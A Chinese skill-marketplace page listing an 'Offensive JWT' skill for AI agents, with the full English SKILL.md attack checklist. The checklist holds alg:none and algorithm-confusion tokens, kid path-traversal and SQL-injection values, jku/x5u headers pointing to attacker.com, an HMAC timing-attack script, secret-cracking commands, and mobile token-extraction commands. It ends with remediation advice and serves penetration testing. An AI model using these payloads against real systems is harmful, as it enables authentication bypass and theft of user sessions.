攻击性JWT

SKILL运维和基础设施
运维和基础设施 未标注权限 许可证不明确
安装这个技能

攻击性JWT专用技能,帮助AI Agent高效完成相关任务。

一句话选型结论

按资料字段整理

攻击性JWT是运维和基础设施类的 Agent Skill,安装方式未标注,权限级别未标注,许可证不明确,有可直接复制的安装命令。技能本质是给模型读的说明书,效果取决于模型与客户端;装完先用一个小任务验证,再放进正式流程。

分类运维和基础设施 安装方式未标注 权限级别未标注权限 许可证许可证不明确
累计安装 未标注 本周 未标注
GitHub 星标 未标注 仓库 未标注
下载量 未标注 技能市场下载数
权限级别 未标注权限 安装前请确认风险范围
许可证 许可证不明确 未说明

安装

未标注
在支持 Skills 的客户端里执行,装完问一句「你有哪些技能」验证
skillhub install user_3c6cb52e/offensive-jwt-vglj
  1. 1
    确认客户端支持

    确认你的客户端支持 Skills(Claude、Codex、Cursor 等),并升级到较新的版本。

  2. 2
    拿到技能文件

    执行上面的命令安装;也可以把仓库里的 SKILL.md 手动放进客户端的 skills 目录。

  3. 3
    刷新技能列表

    重新打开客户端,或刷新技能列表,让新放进来的技能被加载。

  4. 4
    验证是否生效

    问一句「你有哪些技能」,确认列表里出现它,再拿一个小任务试跑。

技能档案

运维和基础设施
字段来自技能仓库与公开索引,中文说明由本站标注
作者 / 维护方user_3c6cb52e仓库 未标注 · 版本 未标注
宿主客户端未标注技能可被这些客户端加载
安装方式未标注安装包 community
权限级别未标注权限安装前请确认风险范围
许可证未说明许可证不明确,商用前请自行确认条款
仓库可用性available技能仓库当前是否可访问
最近核验未标注上游最后核验时间 · 数据更新 1791622872
正文体量10.8 KBSKILL.md 原文大小,越大说明说明书写得越细

典型使用场景

3 类
按分类整理的常见用法,具体以 SKILL.md 为准
查服务与日志

按现象定位服务状态与日志线索。

写部署与巡检脚本

把重复的部署、巡检写成脚本。

故障排查

按步骤排查网络、依赖与配置。

选择建议

装之前先看这几条
按条目字段给出的判断,不替你决定用不用

值得选的地方

  • 有可直接复制的安装命令,不用自己翻文档找入口。

先想清楚的地方

  • 没有标注权限级别,实际能做什么要装好后确认。
  • 许可证不明确,商用或二次分发前先到仓库确认条款。
  • 没有做站内核验,内容以作者仓库为准。
  • 技能只是说明书,实际效果取决于模型与客户端,装完先用小任务试一遍。

更适合

  • 需要在运维和基础设施场景里给模型补一套做法的人。
  • 愿意先读一遍 SKILL.md、确认它会让模型做什么的人。

不太适合

  • 对许可证要求很严、必须明确可商用的人。
  • 只想装完就自动变强、不打算看说明书的人。

同类对比

6 个同类
同分类里挑最接近的几条,字段以各自详情页为准
技能权限级别安装方式累计安装宿主客户端安装命令
攻击性JWT当前 未标注权限 未标注 未标注 未标注 有
Azure 部署 调用外部服务 GitHub 仓库 664.2 万 Codex、Claude、Cursor 有
Azure diagnostics 问题管理 调用外部服务 GitHub 仓库 657.6 万 Codex、Claude、Cursor 有
Azure aigateway 部署 调用外部服务 GitHub 仓库 655.3 万 Codex、Claude、Cursor 有
Azure AI 搜索 调用外部服务 GitHub 仓库 651.4 万 Codex、Claude、Cursor 有
Azure Cloud migrate 部署 调用外部服务 GitHub 仓库 650.7 万 Codex、Claude、Cursor 有

SKILL.md 全文

10.8 KB
模型实际读到的说明书原文,来自技能仓库

Overview

Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.

Quick Reference: Misconfigurations to Check

  • Algorithm set to none — signature verification bypassed entirely
  • Algorithm switching between RSA and HMAC (confusion attack)
  • Weak or guessable HMAC secret (brute-forceable)
  • kid, jku, jwk, x5u header parameters accepted without validation
  • Expired or tampered tokens accepted by server
  • Sensitive data stored unencrypted in payload

Useful tool: JWT Tool

Mechanisms

JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.

Signing algorithms:

Algorithm Type Notes
HS256/384/512 Symmetric HMAC Shared secret; confusion target
RS256/384/512 Asymmetric RSA Public key can be misused as HMAC secret
ES256/384/512 Asymmetric ECDSA
PS256/384/512 RSASSA-PSS
EdDSA (Ed25519/Ed448) Asymmetric
none Unsigned Critically insecure

Additional pitfalls:
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected typ/cty
- JWKS retrieval: SSRF via jku/x5u, insecure TLS, poisoned key caching, kid collisions
- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients

Hunt: Identifying JWT Usage

  1. Check Authorization: Bearer <token> headers in all requests
  2. Look for cookies containing JWT structures (eyJ...)
  3. Examine browser local/session storage
  4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
  5. Note any kid, jku, jwk, x5u fields in the header — these are attack surfaces

Vulnerability Map

JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated

Vulnerabilities

Algorithm Vulnerabilities

  • alg:none — Some libraries disable signature validation when alg is none or a case variant (None, NONE, nOnE)
  • Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches alg to HS256; attacker re-signs token with the public key
  • Key ID (kid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups

Signature Vulnerabilities

  • Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
  • Missing Signature Validation — Token accepted without any verification
  • Broken Validation — Implementation errors in signature checking logic

Implementation Issues

  • Missing Claims Validation — exp, nbf, aud, iss not verified
  • Insufficient Entropy — Predictable JWT IDs or tokens
  • No Expiration — Tokens valid indefinitely
  • Insecure Transport — Token sent over HTTP
  • Debug Leakage — Detailed error messages expose implementation

Header Injection Attacks

  • JWK Injection — Supply a custom attacker-controlled public key via the jwk header
  • JKU Manipulation — Point jku (JWK Set URL) to attacker-controlled JWKS endpoint
  • x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
  • JWKS Cache Poisoning — Force caches to accept attacker keys via kid collisions or response header manipulation
  • crit Header Abuse — Server ignores unknown critical parameters, enabling bypass

Information Disclosure

  • Sensitive data (PII, credentials, session details) stored unencrypted in payload
  • Internal service/backend information leaked via claims

Additional Attack Vectors

Mobile App JWT Storage

Android:
- SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
- Keystore extraction: root device or exploit app
- Backup extraction: adb backup -f backup.ab <package> (if allowBackup=true)
- Tools: Frida, objection, MobSF

iOS:
- Keychain: Check kSecAttrAccessible — kSecAttrAccessibleAlways is insecure
- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper for full extraction
- Tools: Frida, objection, idb

React Native / Hybrid:
- AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default

# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT

JWT Confusion Attacks

  • SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
  • API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
  • Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
  • OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource

Timing Attacks on HMAC

Non-constant-time comparison leaks the HMAC secret character by character via response time differences.

import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())

JWT in URL Parameters

  • Tokens in GET URLs appear in server logs, proxy logs, browser history
  • Leaked via Referer header to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.

Manual Testing Steps

  1. Decode and Inspect:
    base64url_decode(header) . base64url_decode(payload) . signature

  2. Test none Algorithm (try all case variants):
    {"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload.""

  3. Algorithm Confusion (RS256→HS256):
    # Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>

  4. kid Parameter Attacks:
    {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}

  5. JWK/JKU Injection:
    {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}

  6. x5u / crit Handling:
    {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}

  7. Brute Force HMAC Secret:
    bash python3 jwt_tool.py <token> -C -d wordlist.txt

  8. Test Missing Claim Validation:
    - Remove or modify exp (expiration)
    - Change iss (issuer) or aud (audience)
    - Modify iat (issued at) or nbf (not before)

Automated Testing with JWT_Tool

# Basic token inspection
python3 jwt_tool.py <token>

# Full vulnerability scan
python3 jwt_tool.py <token> -M all

# Targeted attacks
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # Null/none signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt

Other tools:
- JWT.io — basic token inspection and debugging
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
- jwtXploiter — advanced JWT vulnerability scanning
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
- Frida, objection, MobSF — mobile JWT extraction

Remediation Recommendations

  • Use short-lived access tokens; rotate refresh tokens frequently
  • Always validate aud (audience) and iss (issuer) claims
  • Disable none algorithm; prevent algorithm downgrades; pin alg per client/issuer
  • Ensure key material loaded for verification matches alg; reject mismatches
  • Reject tokens with unknown crit header parameters
  • Validate JWKS over pinned TLS; disallow remote jku/x5u except trusted domains; short-TTL key caching with kid uniqueness
  • Enforce maximum token length; disable JWE compression unless required
  • Maintain server-side deny-list keyed by jti for early revocation
  • For DPoP tokens (typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use
  • Bind sessions to device when possible; rotate refresh tokens on every use
  • Prefer SameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens

Alternatives & Modern Mitigations

  • PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
  • Macaroons — bearer tokens with attenuable, caveat-based delegation
  • DPoP and mTLS — bind tokens to the client to prevent replay

常见问题

5 问
答案由本站依据条目字段整理
攻击性JWT怎么安装?

在支持 Skills 的客户端里执行:skillhub install user_3c6cb52e/offensive-jwt-vglj。安装方式为未标注。装完刷新技能列表或重开客户端。

攻击性JWT支持哪些客户端?

资料没有标注宿主客户端,但只要客户端支持 Skills(Claude、Codex、Cursor 等),一般都能加载。

攻击性JWT权限高吗,安全吗?

权限级别为未标注权限。安装前先看它会读取或写入哪些内容。

攻击性JWT收费吗?

本站不代收费用,也没有标注具体价格。是否收费取决于技能本身和所用的模型或客户端,正式使用前按作者说明确认。

攻击性JWT用什么许可证?

许可证标注为 未说明(许可证不明确)。商用或二次分发前请到仓库确认条款原文。

热门专题

按场景挑技能
全部专题 →

技能内容以作者仓库为准;分类、权限级别与许可证状态的中文说明为中文整理,最近核验 未标注。